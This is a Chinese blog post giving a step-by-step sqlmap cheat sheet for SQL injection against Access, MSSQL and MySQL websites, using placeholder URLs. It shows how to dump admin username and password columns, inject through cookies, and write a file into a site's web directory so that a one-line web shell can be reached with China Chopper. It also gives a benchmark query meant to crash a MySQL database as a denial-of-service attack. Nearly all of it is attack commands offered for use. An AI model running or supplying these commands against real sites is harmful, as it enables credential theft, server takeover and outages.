IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    sqlmap渗透注入 整合(1)

    铁匠运维网发表于 2017-03-15 02:01:19
    love 0

    Access数据库注入

    1.判断注入的是否存在注入漏洞
    sqlmap -u "http://www.xxx.com/xx.asp?id=xxx"
    root@tiejiang:~# sqlmap -u(-u:指定一个URL) "http://www.xxx.com/xx.asp?id=xxx"
    
    2.获取表名
    sqlmap -u “http://www.xxx.com/xx.asp?id=xxx” --tables
    root@tiejiang:~# sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" --tables
    
    3.获取字段名
    sqlmap -u “http://www.xxx.com/xx.asp?id=xxx” --columns -T 表名
    root@tiejiang:~# sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" --columns -T admin
    
    4.获取字段中的内容
    sqlmap -u “http://www.xxx.com/xx.asp?id=xxx” --dump -T 表名 -C "字段名1,字段名2..."
    root@tiejiang:~# sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" --dump -T admin -C "username,password"

    Cookie中转注入

    注:此方法使用于access数据库,mysql、MSSQL数据库请在第二步获取站点当前数据库及数据库,方法与常规mysql、MSSQL注入一样,只不过在后面加上了“--level 2”这个参数,其他参数照常使用。
    
    1.判断数据库,获取服务器,网站环境等参数
    sqlmap.py -u http://www.xx.com/show.asp --cookie "id=187" --table --level 2
    例:sqlmap.py -u "http://www.xx.com/show.asp" --cookie "id=187" --talbe --level 2
    
    2.获取字段
    sqlmap.py -u http://www.xx.com/show.asp --cookie "id=187" --columns -T 数据表 --level 2
    例:sqlmap.py -u "http://www.xx.com/show.asp" --cookie "id=187" --columns -T admin --level 2
    
    3.获取字段中的内容
    sqlmap.py -u http://www.xx.com/show.asp --cookie "id=187" --dump -T 表名 -C "字段名1,字段名2"  --level 2
    例:sqlmap.py -u "http://www.xx.com/show.asp" --cookie "id=187" --dump admin -C "username,password" --level 2

    file参数使用

    权限:必须为dba权限
    file-write	从本地写入
    file-dest	写入目标路径
    判断是否是dba权限(显示TRUE或者FALSE,TRUE即为dba权限,反之不是)
    sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --is-dba
    写入文件至站点目录
    sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --file-write=本地文件路径 --file-dest 网站路径(写入路径)+"/写入的文件名"
    sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --file-write=F:/kx.aspx --file-dest D:/虚拟目录/Front/kx.aspx
    D:/虚拟目录/Front   为网站的物理路径
    写入成功后,即可通过浏览器访问,若为一句话木马则可使用中国菜刀进行连接。
    注:网站路径必须为网站的真实物理路径(即绝对路径。也就是从盘符开始的路径),否则无法写入数据。

    MSSQL数据库注入

    1.判断注入点,获取网站信息
    sqlmap.py -u http://www.xx.com/ss.asp?id=123
    例:sqlmap.py -u "http://www.xx.com/ss.asp?id=123"
    
    2.获取所有数据库
    sqlmap.py -u http://www.xx.com/ss.asp?id=123 --dbs
    例:sqlmap.py -u "http://www.xx.com/ss.asp?id=123" --dbs
    
    3.获取网站当前所使用的数据库
    sqlmap.py -u http://www.xx.com/ss.asp?id=123 --current-db
    例:sqlmap.py -u "http://www.xx.com/ss.asp?id=123" --current-db
    
    4.获取数据库中的表名
    sqlmap.py -u http://www.xx.com/ss.asp?id=123 -D 数据库名 --tables
    例:sqlmap.py -u "http://www.xx.com/ss.asp?id=123" -D news2008 --tables
    
    5.获取数据表中的字段名
    sqlmap.py -u http://www.xx.com/ss.asp?id=123 -D 数据库名 -T 表名 --columns
    例:sqlmap.py -u "http://www.xx.com/ss.asp?id=123" -D news2008 -T admin --columns
    
    6.获取字段中的内容
    sqlmap.py -u http://www.xx.com/ss.asp?id=123 -D 数据库名 -T 表名 -C "字段名1,字段名2..." --dump
    例:sqlmap.py -u "http://www.xx.com/ss.asp?id=123" -D news2008 -T admin -C "username,psw" --dump

    Mysql Dos攻击

    作用:攻击其数据库,使其停止工作,迫使管理员手动重启数据库。
    
    注意:在进行DOS攻击的时候你需要拥有足够大的权限或者拥有一个shell
    
    1.获得shell:--sql-shell
    示例:sqlmap.py -u http://www.xx.com/news.php?id=1 --sql-shell
    
    2.在shell处执行语句就可以完成一个DOS攻击,可是使其数据库爆破或停止运行。
    sql-shell>select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
    攻击语句:select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

    MySQL数据库注入

    sqlmap.py -u http://www.xx.com/show.php?id=81 --当前用户权限
    例:sqlmap.py -u "http://www.xx.com/show.php?id=81" --is-dba
    
    sqlmap.py -u http://www.xx.com/show.php?id=81 --所有数据库用户
    例:sqlmap.py -u "http://www.xx.com/show.php?id=81" --users
    
    sqlmap.py -u http://www.xx.com/show.php?id=81 --当前数据库用户
    例:sqlmap.py -u "http://www.xx.com/show.php?id=81" --current-user
    
    1.检测注入点,判断数据库类型及服务器等类型
    sqlmap.py -u http://www.xx.com/show.php?id=81
    例:sqlmap.py -u "http://www.xx.com/show.php?id=81"
    
    2.获取所有数据库
    sqlmap.py -u http://www.xx.com/show.php?id=81 --获取所有数据库
    例:sqlmap.py -u "http://www.xx.com/show.php?id=81" --dbs
    
    3.获取网站当前数据库
    sqlmap.py -u http://www.xx.com/show.php?id=81 --获取网站当前数据库
    例:sqlmap.py -u "http://www.xx.com/show.php?id=81" --current-db
    
    4.获取数据库中的表
    sqlmap.py -u http://www.xx.com/show.php?id=81 -D 指定一个数据库 --tables
    例:sqlmap.py -u "http://www.xx.com/show.php?id=81" -D zsb --tables
    
    5.获取数据表中的字段
    sqlmap.py -u http://www.xx.com/show.php?id=81 -D 数据库 -T 数据表 --columns 
    例:sqlmap.py -u "http://www.xx.com/show.php?id=81" -D zsb -T user --columns
    
    6.获取字段中的内容
    sqlmap.py -u http://www.xx.com/show.php?id=81 -D 数据库 -T 数据表 -C 字段名1,字段名2,字段名3... --dump
    例:sqlmap.py -u "http://www.xx.com/show.php?id=81" -D zsb -T user -C "u_id,u_name,u_pass" --dump



沪ICP备19023445号-2号
友情链接